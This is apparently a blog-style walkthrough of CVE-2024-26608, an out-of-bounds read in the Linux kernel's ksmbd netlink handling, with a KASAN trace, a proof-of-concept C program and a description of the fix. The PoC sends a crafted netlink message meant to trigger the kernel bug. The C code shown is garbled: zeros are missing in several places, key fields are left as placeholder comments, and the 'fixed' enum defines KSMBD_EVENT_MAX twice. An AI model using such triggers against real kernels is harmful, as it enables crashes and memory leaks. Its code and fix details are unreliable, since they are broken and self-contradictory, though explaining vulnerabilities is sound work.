The Linux kernel is the backbone of countless servers, desktops, and embedded systems worldwide. Security bugs within it can have wide-ranging effects, especially when they affect widely used components or interfaces. In early 2024, a security flaw much like one previously seen in Qualcomm networking code was found in the SMB server code of the Linux kernel (ksmbd), tracked as CVE-2024-26608. This bug allowed a global out-of-bounds (OOB) read when processing netlink attributes, possibly exposing sensitive memory or crashing the kernel.

Let’s break down this vulnerability in simple terms, look at example code, and discuss what an attacker could do before the patch landed.

What is CVE-2024-26608?

Put very simply: When userspace tools or processes talked to the kernel’s ksmbd subsystem via netlink, a wrong value in the netlink policy (ksmbd_nl_policy) meant the code could read outside of a valid memory array. This is a classic “out-of-bounds read” – the code reads past the end of an array based on unexpected or crafted input.

Technical Bug Walkthrough

The heart of the bug is how the kernel’s netlink attribute parser uses the policy array. If the attribute policy array isn’t sized correctly, passing a value referencing just-past-the-end will read past the memory boundary. Here, the relevant structure was off by one.

A similar bug was found previously in the RMNET code (commit b33fb5b801c6), so it’s a pattern repeating in complex kernel netlink code.

When fuzzers hit this bug, here’s the kind of kernel log seen (abridged for clarity)

BUG: KASAN: global-out-of-bounds in validate_nla
Read of size 1 at addr ffffffff8f24b100 by task syz-executor.1/62810

Call Trace:
validate_nla lib/nlattr.c
__nla_validate_parse lib/nlattr.c
__nla_parse lib/nlattr.c
genl_family_rcv_msg_attrs_parse net/netlink/genetlink.c
genl_family_rcv_msg_doit net/netlink/genetlink.c
netlink_rcv_skb net/netlink/af_netlink.c
netlink_unicast net/netlink/af_netlink.c
netlink_sendmsg net/netlink/af_netlink.c
sock_sendmsg net/socket.c

Here, a userspace program (could be an attacker or a fuzzer) crafted a netlink message that made ksmbd's policy array read just past its end.

Exploiting the Vulnerability

CVE-2024-26608 is a “read” bug rather than a write, which limits its direct exploitability but still has consequences:

- Leaking kernel information: Out-of-bounds reads may copy kernel memory into user-visible fields (e.g., in error messages or responses), possibly leaking pointers or data useful for later stages of an attack.
- Kernel crash/DoS: Triggering a KASAN panic or other memory protection faults can lead to denial-of-service, particularly on virtualized systems.

Exploit Example (Proof-of-Concept)

Below is a simplified PoC in C to trigger the bug (before patch). This sends a netlink message to the ksmbd family with a manipulated attribute that causes an out-of-bounds read:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>

#define KSMBD_GENL_NAME "ksmbd"
#define KSMBD_GENL_VERSION x1

int main() {
    int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (sock < ) {
        perror("socket");
        return 1;
    }

    struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
    bind(sock, (struct sockaddr*)&addr, sizeof(addr));

    // Allocate generic netlink header + one big attribute
    char buf[512] = {};
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genlh = (struct genlmsghdr *)(buf + sizeof(struct nlmsghdr));

    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + 16); // small, just header + attr
    nlh->nlmsg_type = /* get ksmbd family id dynamically via ctrl commands in real PoC */;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = ;

    genlh->cmd = KSMBD_EVENT_MAX;  // buggy value (use something shiny here)
    genlh->version = KSMBD_GENL_VERSION;

    // Over-index the attribute deliberately
    struct nlattr *attr = (struct nlattr *)(buf + NLMSG_SPACE(GENL_HDRLEN));
    attr->nla_type = /* deliberately set to max+1 */;
    attr->nla_len = NLA_HDRLEN + 8;

    send(sock, buf, nlh->nlmsg_len, );

    close(sock);
    return ;
}

> WARNING: This PoC is for education and testing on your own machines only. Do not use on shared or production systems.

The Fix: Safe Sizing of Policy Arrays

The patch as committed did a _classic C array fix_:

- Instead of defining the policy as an array of size KSMBD_EVENT_MAX, the code now reserves one extra slot by introducing a __KSMBD_EVENT_MAX marker and setting the real max value to that minus one.

All code referring to the previous max value is adjusted.

- This pattern is common in kernel netlink code and matches what’s done in other families (like RMNET).

How it looks in code

// Correct pattern
enum {
    KSMBD_EVENT_UNSPEC,
    KSMBD_EVENT_START,
    /* ...other events... */
    KSMBD_EVENT_MAX,
    __KSMBD_EVENT_MAX,
};

#define KSMBD_EVENT_MAX (__KSMBD_EVENT_MAX - 1)

// Policy array is now size __KSMBD_EVENT_MAX
static struct nla_policy ksmbd_nl_policy[__KSMBD_EVENT_MAX];

// Attribute handlers use KSMBD_EVENT_MAX (_not_ off-by-one anymore)

References

- Kernel commit fixing CVE-2024-26608
- Qualcomm RMNET similar patch (commit b33fb5b801c6)
- CVE report at NVD
- ksmbd upstream source

Simple Remediation Advice

- If you use ksmbd (Linux SMB server, not Samba), upgrade to a kernel including the fix (6.1+ with commit 25fd1b3f9d3e470dbf9c2518bdb9cbbcf4c8f87d).

Conclusion

*CVE-2024-26608* is a good reminder that simple off-by-one mistakes in C can have security consequences, especially in complex kernels with user-to-kernel interfaces. Thanks to fuzzers and careful review, such bugs can be caught and dealt with before becoming more serious. Always keep your kernel updated, especially if you use advanced features like ksmbd!


Did you find this deep dive helpful? Let us know what kernel security bugs you'd like to see explained next!

Timeline

Published on: 03/11/2024 18:15:18 UTC
Last modified on: 11/07/2024 22:35:21 UTC